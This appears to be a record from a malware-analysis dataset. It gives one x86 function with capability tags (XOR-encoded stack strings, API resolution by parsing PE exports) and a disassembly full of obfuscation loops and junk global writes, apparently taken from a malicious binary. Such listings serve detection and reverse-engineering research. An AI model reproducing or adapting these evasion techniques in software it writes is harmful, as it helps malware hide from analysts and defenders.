Function at 0x4122e3
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x200
push ebx
push ebp
push esi
mov dword [esp + 0xf8], ecx
xor ecx, ecx
push edi
mov dword [esp + 0xe0], edx
mov dword [esp + 0x14], 0x5655446f
mov dword [esp + 0x18], 0x7d4a534e
mov dword [esp + 0x1c], 0x4a4e4e62
mov word [esp + 0x20], 0x4448
mov byte [esp + 0x22], 0x52
mov al, byte [esp + ecx + 0x14]
xor al, 0x21
movzx eax, al
mov word [esp + ecx*2 + 0x168], ax
inc ecx
cmp ecx, 0xf
jl 0x412321
xor eax, eax
mov dword [esp + 0x24], 0x1c181834
mov word [esp + 0x186], ax
xor ecx, ecx
mov word [esp + 0x28], 0x121e
mov byte [esp + 0x2a], 4
mov al, byte [esp + ecx + 0x24]
xor al, 0x77
movzx eax, al
mov word [esp + ecx*2 + 0x148], ax
inc ecx
cmp ecx, 7
jl 0x412358
xor eax, eax
mov word [esp + 0x156], ax
movzx eax, word [0x42c8d8]
imul eax, eax, 0xd6e47d73
mov dword [0x42c8f0], eax
call fcn.00420668
mov edi, dword [0x42c8f0]
mov ebp, eax
movzx ebx, word [0x42c8c8]
mov eax, 0x8ea5
movzx esi, di
lea ecx, [esi + 0x7ace]
mov word [0x42c8f8], cx
mov ecx, 0x72a0
imul ebx, ecx
xor bx, ax
mov word [0x42c8d8], bx
test ebp, ebp
jne 0x4123fb
mov eax, esi
xor esi, 0x8ff4
or eax, 0x3030
mov word [0x42c8c8], si
sub edi, 0x5751b597
mov word [0x42c8d8], ax
mov dword [0x42c8f0], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x200
ret
lea eax, [esp + 0x168]
mov dword [esp + 0x5c], 0x1c332c65
lea edx, [ebx - 0x444]
mov dword [esp + 0x118], eax
and edx, 0x629d
mov word [esp + 0x60], 0x2c65
lea eax, [esp + 0x148]
mov byte [esp + 0x62], 0x33
xor esi, esi
mov dword [esp + 0x11c], eax
mov dword [esp + 0xec], esi
xor ecx, ecx
mov al, byte [esp + ecx + 0x5c]
xor al, 0x40
movzx eax, al
mov word [esp + ecx*2 + 0x158], ax
inc ecx
cmp ecx, 7
jl 0x412442
push dword [esp + esi*4 + 0x118]
xor eax, eax
movzx ecx, dx
push dword [esp + 0xe4]
mov word [esp + 0x16e], ax
and ecx, 0x60c2b26a
mov eax, 0x67b7
mov dword [0x42c8f0], ecx
or ax, bx
mov word [0x42c8f8], ax
lea eax, [ecx + 0x24e3]
mov word [0x42c8c8], ax
lea eax, [esp + 0x160]
push eax
call fcn.004233ac
mov bx, word [0x42c8d8]
mov ecx, 0x6e9c
movzx edx, bx
mov edi, eax
imul edx, ecx
mov eax, 0x6d5f
add esp, 0xc
mov dword [esp + 0x104], edi
add dx, ax
mov word [0x42c8f8], dx
test edi, edi
je 0x41318a
mov eax, 0x9bc2
movzx ecx, bx
imul ecx, eax
mov word [0x42c8f8], cx
and ecx, 0x9dbf
mov word [0x42c8c8], cx
mov ecx, edi
call fcn.0042355e
mov dx, word [0x42c8d8]
mov ebx, eax
mov ecx, 0xfdff
mov dword [esp + 0x100], ebx
or cx, dx
mov word [0x42c8c8], cx
test ebx, ebx
je 0x413161
mov ax, dx
mov ecx, 0x71f2
and ax, cx
xor edx, edx
mov word [0x42c8f8], ax
mov ecx, ebx
add eax, 0xffffe437
mov word [0x42c8c8], ax
movzx eax, ax
or eax, 0x4b155f92
mov dword [0x42c8f0], eax
call fcn.00423df5
imul ecx, dword [0x42c8f0], 0xf37b
mov edi, eax
mov dword [esp + 0xe4], edi
mov word [0x42c8c8], cx
test edi, edi
je 0x4130fa
or ecx, 0x6c2e
imul ecx, ecx, 0x9427
push 0
push 1
movzx eax, cx
xor eax, 0x8fc379f9
mov word [0x42c8d8], cx
mov dword [0x42c8f0], eax
lea eax, [esp + 0xf0]
push eax
push edi
call dword [ebp + 4]
add esp, 0x10
test eax, eax
jne 0x4130b0
xor ebx, ebx
mov dword [esp + 0x78], 0xf7fef705
mov dword [esp + 0x7c], 0x1ad206f5
mov ecx, ebx
mov dword [esp + 0x80], 0x11262521
mov dword [esp + 0x84], 0xde2b171d
mov dword [esp + 0x88], 0x11251bd2
mov dword [esp + 0x8c], 0x2226261a
mov dword [esp + 0x90], 0x2b1e2021
mov dword [esp + 0x94], 0x1322d2de
mov dword [esp + 0x98], 0xd2de1a26
mov dword [esp + 0x9c], 0x2511251b
mov dword [esp + 0xa0], 0x24271517
mov dword [esp + 0xa4], 0x17d2de17
mov dword [esp + 0xa8], 0x241b222a
mov dword [esp + 0xac], 0x27112517
mov dword [esp + 0xb0], 0xd2de1526
mov dword [esp + 0xb4], 0x171f1320
mov dword [esp + 0xb8], 0x2017d2de
mov dword [esp + 0xbc], 0x222b2415
mov dword [esp + 0xc0], 0x11161726
mov dword [esp + 0xc4], 0x271e1328
mov dword [esp + 0xc8], 0x4f8d217
mov dword [esp + 0xcc], 0x15d2ff01
mov dword [esp + 0xd0], 0x1b1d2121
mov word [esp + 0xd4], 0x2517
mov al, byte [esp + ecx + 0x78]
add al, 0x4e
mov byte [esp + ecx + 0x1b0], al
inc ecx
cmp ecx, 0x5e
jl 0x4126bd
movzx eax, word [0x42c8d8]
mov ecx, 0x4fc5
or cx, word [0x42c8c8]
xor eax, 0xfd7c
imul eax, eax, 0x84cbe07f
movzx ecx, cx
push ebx
mov byte [esp + 0x212], bl
mov dword [0x42c8f0], eax
mov eax, 0x5a8d
imul ecx, eax
mov eax, 0x802b
sub ax, cx
mov word [0x42c8c8], ax
mov eax, 0xf714
xor ax, word [0x42c8f8]
mov word [0x42c8d8], ax
lea eax, [esp + 0x14]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x1bc]
push eax
push dword [esp + 0xf8]
call dword [ebp + 8]
add esp, 0x14
test eax, eax
jne 0x413264
movzx ecx, word [0x42c8f8]
lea edi, [esp + 0x14]
push dword [esp + 0x10]
mov eax, 0xaad6
or cx, ax
imul eax, dword [0x42c8f0], 0xddb2
mov word [0x42c8d8], ax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ecx - 0xc87]
or ecx, 0xdc2b
movzx eax, ax
mov word [0x42c8c8], cx
and eax, 0x27aaf2b8
and ecx, 0xf374
mov dword [0x42c8f0], eax
mov word [0x42c8f8], cx
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
jne 0x412cdf
mov word [esp + 0x2c], 0x9295
mov word [esp + 0x30], 9
mov ecx, ebx
mov word [esp + 0x34], 9
mov al, byte [esp + ecx + 0x2c]
xor al, 0x98
mov byte [esp + ecx + 0xd8], al
inc ecx
cmp ecx, 2
jl 0x4127c7
mov eax, 0x2b06
mov byte [esp + 0xda], bl
and word [0x42c8d8], ax
mov eax, dword [0x42c8f0]
push ebx
push dword [esp + 0x14]
or eax, 0x42f4
mov word [0x42c8c8], ax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00423d47
imul eax, dword [0x42c8f0], 0x86d
pop ecx
mov ecx, 0x6124
push 1
push dword [esp + 0x14]
sub ecx, eax
mov word [0x42c8c8], cx
call dword [ebp + 0x10]
mov si, word [0x42c8c8]
mov edx, 0x6145
pop ecx
add dx, si
pop ecx
test eax, eax
je 0x4128c3
cmp byte [eax], 0x31
jne 0x4128c3
mov dword [esp + 0x3c], 0xfdfafcb1
mov ecx, ebx
mov word [esp + 0x40], 0xb1ed
mov al, byte [esp + ecx + 0x3c]
add al, 0x58
mov byte [esp + ecx + 0x108], al
inc ecx
cmp ecx, 6
jl 0x41286a
imul eax, dword [0x42c8f0], 0xbd3e5314
mov byte [esp + 0x10e], bl
mov dword [0x42c8f0], eax
mov eax, 0x8d86
add dx, ax
mov eax, 0x47aa
add eax, esi
mov word [0x42c8d8], dx
mov word [0x42c8f8], ax
lea edx, [esp + 0x108]
or eax, 0x27b9
mov word [0x42c8c8], ax
jmp 0x41292a
mov dword [esp + 0x44], 0x6e63682b
mov ecx, ebx
mov word [esp + 0x48], 0x6775
mov byte [esp + 0x4a], 0x2b
mov al, byte [esp + ecx + 0x44]
sub al, 0x22
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 7
jl 0x4128d9
movzx ecx, word [0x42c8f0]
lea edx, [esp + 0x120]
mov eax, ecx
mov byte [esp + 0x127], bl
xor eax, 0x7416
mov word [0x42c8c8], ax
add eax, 0xffffade2
xor eax, 0x5fc6
mov word [0x42c8d8], ax
lea eax, [ecx + 0x2598]
mov word [0x42c8f8], ax
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.00423d47
mov eax, 0xec85
or ax, word [0x42c8c8]
mov word [0x42c8d8], ax
movzx eax, word [0x42c8c8]
pop ecx
add eax, 0x49f21158
push 2
push dword [esp + 0x14]
xor eax, 0xd46d5a29
mov dword [0x42c8f0], eax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00423d47
movzx eax, word [0x42c8f8]
pop ecx
push 3
push dword [esp + 0x14]
xor eax, 0x71ad4145
mov dword [0x42c8f0], eax
call dword [ebp + 0x10]
mov edx, dword [0x42c8f0]
and edx, 0x8b59
mov word [0x42c8c8], dx
pop ecx
pop ecx
test eax, eax
je 0x412a07
cmp byte [eax], 0x31
jne 0x412a07
mov dword [esp + 0x24], 0xbebbbd72
mov ecx, ebx
mov word [esp + 0x28], 0x72ae
mov al, byte [esp + ecx + 0x24]
sub al, 0x69
mov byte [esp + ecx + 0x110], al
inc ecx
cmp ecx, 6
jl 0x4129ca
mov eax, 0x4e94
movzx ecx, dx
imul ecx, eax
lea edx, [esp + 0x110]
mov eax, 0x48a2
mov byte [esp + 0x116], bl
sub cx, ax
mov word [0x42c8c8], cx
jmp 0x412a5a
mov dword [esp + 0x4c], 0x877c8144
mov ecx, ebx
mov word [esp + 0x50], 0x808e
mov byte [esp + 0x52], 0x44
mov al, byte [esp + ecx + 0x4c]
sub al, 0x3b
mov byte [esp + ecx + 0x128], al
inc ecx
cmp ecx, 7
jl 0x412a1d
movzx eax, word [0x42c8f8]
lea edx, [esp + 0x128]
xor eax, 0x33c9cb23
mov byte [esp + 0x12f], bl
mov dword [0x42c8f0], eax
xor eax, 0x2fa1
mov word [0x42c8f8], ax
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.00423d47
pop ecx
push 4
push dword [esp + 0x14]
mov eax, 0x53c1
add word [0x42c8f8], ax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 4
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00423d47
mov eax, 0x742c
lea edx, [esp + 0x34]
or ax, word [0x42c8c8]
pop ecx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
mov word [0x42c8f8], ax
call fcn.00423d47
mov ax, word [0x42c8f8]
pop ecx
mov ecx, 0x4a2b
push 5
push dword [esp + 0x14]
sub ax, cx
mov word [0x42c8d8], ax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 5
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00423d47
mov ax, word [0x42c8f8]
lea edx, [esp + 0x38]
pop ecx
mov ecx, 0x3c27
sub ax, cx
lea ecx, [esp + 0x14]
mov word [0x42c8d8], ax
movzx eax, word [0x42c8c8]
add eax, 0x24c2fd50
push 0xffffffffffffffff
mov dword [0x42c8f0], eax
call fcn.00423d47
movzx eax, word [0x42c8c8]
pop ecx
push 6
push dword [esp + 0x14]
add eax, 0x44ea3c94
mov dword [0x42c8f0], eax
call dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [0x42c8f0]
mov esi, eax
add ecx, 0xffffe3e5
movzx edx, cx
mov word [0x42c8d8], cx
movzx ecx, word [0x42c8c8]
or ecx, 0xeb2b4c10
mov dword [0x42c8f0], ecx
test esi, esi
je 0x412cab
movzx eax, word [0x42c8f8]
or edx, 0xeb33
imul eax, eax, 0x31053c60
push 6
push dword [esp + 0x14]
mov word [0x42c8f8], dx
mov dword [0x42c8f0], eax
imul eax, ecx, 0x5943
sub eax, 0x63e8
mov word [0x42c8c8], ax
call dword [ebp + 0x20]
mov bx, word [0x42c8d8]
mov edi, eax
pop ecx
pop ecx
movzx ecx, word [0x42c8f0]
or ecx, 0x480e
movzx edx, bx
xor edx, 0xaf36bc51
add ecx, 0x72d4
cmp byte [esi], 0x76
mov dword [0x42c8f0], edx
mov word [0x42c8f8], cx
jne 0x4131a7
cmp byte [esi + 1], 0x31
lea eax, [esi + 2]
jne 0x4131a7
cmp byte [eax], 0x30
je 0x412c03
cmp byte [eax], 0x31
jne 0x4131a7
mov ecx, 0x16de
mov ax, bx
or ax, cx
mov edx, edi
mov word [0x42c8c8], ax
mov ecx, esi
and eax, 0x5ac
mov word [0x42c8d8], ax
lea eax, [esp + 0xf0]
push eax
call fcn.0040fa5e
pop ecx
mov ecx, dword [0x42c8f0]
mov esi, eax
and ecx, 0xa016c3ba
mov dword [0x42c8f0], ecx
test esi, esi
je 0x412ca9
push dword [esp + 0xf0]
imul ecx, ecx, 0x5c62
mov eax, 0xa2ed
add word [0x42c8f8], ax
mov edx, esi
mov word [0x42c8d8], cx
or ecx, 0x8d5f
mov word [0x42c8c8], cx
lea ecx, [esp + 0x18]
call fcn.00423869
movzx eax, word [0x42c8d8]
pop ecx
mov ecx, 0xe6fc
or ax, cx
mov word [0x42c8c8], ax
and eax, 0x907d
push esi
mov word [0x42c8f8], ax
call fcn.004056f0
pop ecx
xor ebx, ebx
mov eax, dword [0x42c8f0]
lea edx, [esp + 0xd8]
xor eax, 0x18cf
lea ecx, [esp + 0x14]
push 0xffffffffffffffff
mov word [0x42c8d8], ax
call fcn.00423d47
pop ecx
push dword [esp + 0x10]
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
je 0x4127b7
mov ecx, dword [0x42c8f0]
and ecx, 0xdae0
xor ecx, 0x9d1e9a7c
cmp dword [esp + 0x14], 0
mov dword [0x42c8f0], ecx
je 0x413076
mov dword [esp + 0x64], 0xd8dcdcb0
mov edx, ebx
mov dword [esp + 0x68], 0x9ce0d2d6
mov esi, 0xff
mov dword [esp + 0x6c], 0xcce0d992
mov dword [esp + 0x70], 0x9be0d992
mov word [esp + 0x74], 0xe5e1
mov byte [esp + 0x76], 0xe1
movzx eax, byte [esp + edx + 0x64]
sub ax, 0x6d
and ax, si
mov word [esp + edx*2 + 0x188], ax
inc edx
cmp edx, 0x13
jl 0x412d35
xor eax, eax
lea edx, [esp + 0xf4]
mov word [esp + 0x1ae], ax
lea eax, [ecx - 0x295c]
mov ecx, eax
or eax, 0xdd8a
mov word [0x42c8c8], ax
or ecx, 0xa13a
movzx eax, word [0x42c8d8]
add eax, 0x628b41e8
mov word [0x42c8f8], cx
mov dword [0x42c8f0], eax
lea eax, [ecx - 0x3628]
mov ecx, dword [esp + 0xe0]
mov word [0x42c8d8], ax
call fcn.00414033
movzx ecx, word [0x42c8f8]
mov esi, eax
mov eax, 0xb0e3
and cx, ax
mov word [0x42c8f8], cx
imul ecx, ecx, 0x7c1
mov word [0x42c8d8], cx
test esi, esi
je 0x412f83
mov eax, dword [0x42c8f0]
xor ecx, 0x731b
mov edx, dword [esp + 0xf4]
add eax, 0xd5b139aa
and eax, 0x60d1617d
mov word [0x42c8f8], cx
mov dword [0x42c8f0], eax
mov ecx, esi
add eax, 0x16bb
mov word [0x42c8c8], ax
lea eax, [esp + 0xf8]
push eax
call fcn.0040fa5e
mov dx, word [0x42c8f8]
mov ebx, eax
pop ecx
mov ecx, 0x48de
movzx edi, dx
imul edi, ecx
mov ecx, dword [0x42c8f0]
add ecx, 0xffffde98
mov word [0x42c8d8], cx
mov word [0x42c8c8], di
test ebx, ebx
je 0x412f6f
mov dword [esp + 0x54], 0xcde3a2a5
xor ecx, ecx
mov word [esp + 0x58], 0x92d1
mov byte [esp + 0x5a], 0x88
mov al, byte [esp + ecx + 0x54]
xor al, 0xa8
mov byte [esp + ecx + 0x140], al
inc ecx
cmp ecx, 7
jl 0x412e65
mov byte [esp + 0x147], 0
xor ecx, ecx
mov word [esp + 0x38], 0xb1b4
mov al, byte [esp + ecx + 0x38]
add al, 0x59
mov byte [esp + ecx + 0xdc], al
inc ecx
cmp ecx, 2
jl 0x412e89
movzx eax, di
add eax, 0x49f616d2
movzx ecx, dx
mov dword [0x42c8f0], eax
lea edx, [esp + 0x140]
mov eax, 0xfbdd
mov byte [esp + 0xde], 0
imul ecx, eax
push 0xffffffffffffffff
mov word [0x42c8d8], cx
and ecx, 0x1a4d
mov word [0x42c8f8], cx
lea ecx, [esp + 0x18]
call fcn.00423d47
movzx eax, word [0x42c8d8]
mov edx, ebx
pop ecx
push dword [esp + 0xf8]
add eax, 0x33e038e8
lea ecx, [esp + 0x18]
mov dword [0x42c8f0], eax
call fcn.00423869
pop ecx
mov cx, word [0x42c8f8]
mov eax, 0x5bb3
and cx, ax
mov edx, 0x465c
mov ax, word [0x42c8c8]
sub ax, dx
mov word [0x42c8d8], cx
mov word [0x42c8f8], ax
lea edx, [esp + 0xdc]
movzx eax, cx
lea ecx, [esp + 0x14]
xor eax, 0xb0616c11
push 0xffffffffffffffff
mov dword [0x42c8f0], eax
call fcn.00423d47
imul eax, dword [0x42c8f0], 0x4386
pop ecx
push ebx
mov word [0x42c8c8], ax
call fcn.004056f0
mov dx, word [0x42c8f8]
pop ecx
movzx eax, dx
and eax, 0xc13fcd66
push esi
mov dword [0x42c8f0], eax
call fcn.004056f0
pop ecx
movzx ecx, word [0x42c8c8]
mov eax, 0xee6d
push dword [esp + 0x214]
imul ecx, eax
lea eax, [esp + 0x18c]
push dword [esp + 0x100]
push eax
mov word [0x42c8c8], cx
call fcn.004233ac
mov dx, word [0x42c8c8]
mov esi, eax
mov eax, 0xcda
mov cx, dx
sub cx, ax
add esp, 0xc
mov word [0x42c8f8], cx
test esi, esi
je 0x41304a
mov eax, 0x1c67
mov ecx, 0x6f03
xor ax, dx
add ecx, edx
mov edx, dword [esp + 0x1c]
mov word [0x42c8d8], ax
movzx eax, cx
mov word [0x42c8f8], cx
or eax, 0x348d1e59
mov ecx, dword [esp + 0x14]
push esi
mov dword [0x42c8f0], eax
call fcn.0041ea51
movzx eax, word [0x42c8d8]
pop ecx
mov ecx, 0x2936
imul eax, ecx
push esi
mov word [0x42c8f8], ax
mov eax, 0x229a
add ax, word [0x42c8d8]
mov word [0x42c8c8], ax
call fcn.004056f0
mov dx, word [0x42c8c8]
pop ecx
mov cx, word [0x42c8f8]
push dword [esp + 0x14]
mov eax, 0x279a
sub cx, ax
movzx eax, dx
and eax, 0x7c394b52
mov word [0x42c8d8], cx
mov dword [0x42c8f0], eax
call fcn.004056f0
pop ecx
mov ecx, dword [0x42c8f0]
mov edi, dword [esp + 0xe4]
push dword [esp + 0x10]
movzx ecx, cx
mov eax, ecx
xor ecx, 0x5533
xor eax, 0x1c59
mov word [0x42c8f8], cx
mov word [0x42c8c8], ax
call dword [ebp + 0x18]
mov ebx, dword [esp + 0x104]
mov esi, dword [esp + 0xf0]
pop ecx
push dword [esp + 0xe8]
mov eax, 0xc5eb
or word [0x42c8d8], ax
call dword [ebp + 0x1c]
movzx eax, word [0x42c8d8]
and eax, 0xed76e014
pop ecx
mov dword [0x42c8f0], eax
mov ecx, 0x6ba8
mov ax, word [0x42c8f8]
sub ax, cx
push edi
mov word [0x42c8d8], ax
call fcn.004056f0
pop ecx
mov cx, word [0x42c8c8]
movzx eax, word [0x42c8d8]
mov edx, 0x88e5
and cx, dx
add eax, 0x267dc786
mov word [0x42c8d8], cx
mov edx, 0x62d87b
xor ecx, ecx
mov dword [0x42c8f0], eax
push ebx
inc ecx
call fcn.00415333
call eax
mov eax, dword [0x42c8f0]
xor eax, 0xad03c09a
mov dword [0x42c8f0], eax
imul eax, eax, 0x6354
push ebx
mov word [0x42c8d8], ax
call fcn.004056f0
mov dx, word [0x42c8d8]
mov edi, dword [esp + 0x108]
pop ecx
mov cx, word [0x42c8c8]
movzx eax, dx
and eax, 0xbd645c05
mov dword [0x42c8f0], eax
mov eax, 0x6a59
add ax, cx
push edi
mov word [0x42c8d8], ax
call fcn.004056f0
mov bx, word [0x42c8d8]
pop ecx
inc esi
mov dword [esp + 0xec], esi
cmp esi, 2
jae 0x4123f0
mov dx, word [0x42c8c8]
jmp 0x412440
movzx eax, dx
xor ebx, ebx
or eax, 0x8984
mov dword [esp + 0x134], esi
xor eax, 0x31d5
mov dword [esp + 0x130], edi
add eax, 0xc573322c
mov edx, 0xbedfd981
mov dword [0x42c8f0], eax
imul eax, eax, 0x16bf
mov word [0x42c8c8], ax
and eax, 0x59fc
mov word [0x42c8f8], ax
or eax, 0x7a45
mov word [0x42c8d8], ax
lea eax, [esp + 0x138]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x148]
push eax
push 3
pop ecx
call fcn.00415333
call eax
test eax, eax
je 0x412cab
movzx ecx, word [0x42c8f0]
push dword [esp + 0x138]
mov edx, dword [esp + 0x140]
mov eax, ecx
or eax, 0x5d0d
mov word [0x42c8f8], ax
add eax, 0xffffeaf6
mov word [0x42c8c8], ax
lea eax, [ecx - 0x4d47]
lea ecx, [esp + 0x18]
mov word [0x42c8d8], ax
call fcn.00423869
pop ecx
jmp 0x412cab
mov ecx, dword [0x42c8f0]
jmp 0x41307d